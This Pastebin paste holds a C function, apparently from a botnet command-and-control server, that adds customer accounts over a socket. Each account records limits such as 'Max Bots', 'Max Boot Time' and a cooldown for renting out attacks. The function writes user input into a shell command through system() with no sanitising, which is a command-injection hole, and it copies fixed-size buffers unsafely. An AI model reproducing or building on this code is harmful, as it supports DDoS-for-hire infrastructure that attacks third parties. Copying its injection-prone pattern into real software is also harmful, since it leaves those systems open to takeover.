Advertisement
Guest User

Untitled

a guest
May 12th, 2019
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. void *adduser(int thefd)
  2. {
  3. sprintf(botnet, "Username: ");
  4. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  5. memset(buf,0,sizeof(buf));
  6. if(fdgets(buf, sizeof(buf), thefd) < 1);
  7. trim(buf);
  8. char username[1024];
  9. strcpy(username,buf);
  10. sprintf(botnet, "Password: ");
  11. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  12. memset(buf,0,sizeof(buf));
  13. if(fdgets(buf, sizeof(buf), thefd) < 1);
  14. trim(buf);
  15. char password[1024];
  16. strcpy(password,buf);
  17. sprintf(botnet, "Admin/Normal: ");
  18. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  19. memset(buf,0,sizeof(buf));
  20. if(fdgets(buf, sizeof(buf), thefd) < 1);
  21. trim(buf);
  22. char admin[1024];
  23. strcpy(admin,buf);
  24. sprintf(botnet, "Max Bots: ");
  25. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  26. memset(buf,0,sizeof(buf));
  27. if(fdgets(buf, sizeof(buf), thefd) < 1);
  28. trim(buf);
  29. char plan[1024];
  30. strcpy(plan,buf);
  31. sprintf(botnet, "Max Boot Time: ");
  32. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  33. memset(buf,0,sizeof(buf));
  34. if(fdgets(buf, sizeof(buf), thefd) < 1);
  35. trim(buf);
  36. char bt[1024];
  37. strcpy(bt,buf);
  38. sprintf(botnet, "Expire Date: ");
  39. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  40. memset(buf,0,sizeof(buf));
  41. if(fdgets(buf, sizeof(buf), thefd) < 1);
  42. trim(buf);
  43. char exp[1024];
  44. strcpy(exp,buf);
  45. sprintf(botnet, "Cooldown (0 for none): ");
  46. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  47. memset(buf,0,sizeof(buf));
  48. if(fdgets(buf, sizeof(buf), thefd) < 1);
  49. trim(buf);
  50. char cool[1024];
  51. strcpy(cool,buf);
  52. char buf2[1024];
  53. char send1[512];
  54. sprintf(send1,"%s %s %s %s %s %s %s",username,password, admin, plan, bt, exp, cool);
  55. sprintf(buf2,"echo %s >> users.sql",send1);
  56. system(buf2);
  57. memset(buf2,0,sizeof(buf2));
  58. sprintf(botnet, "\e[0;32mAccount Added As: %s!\r\n", username);
  59. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  60.  
  61. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement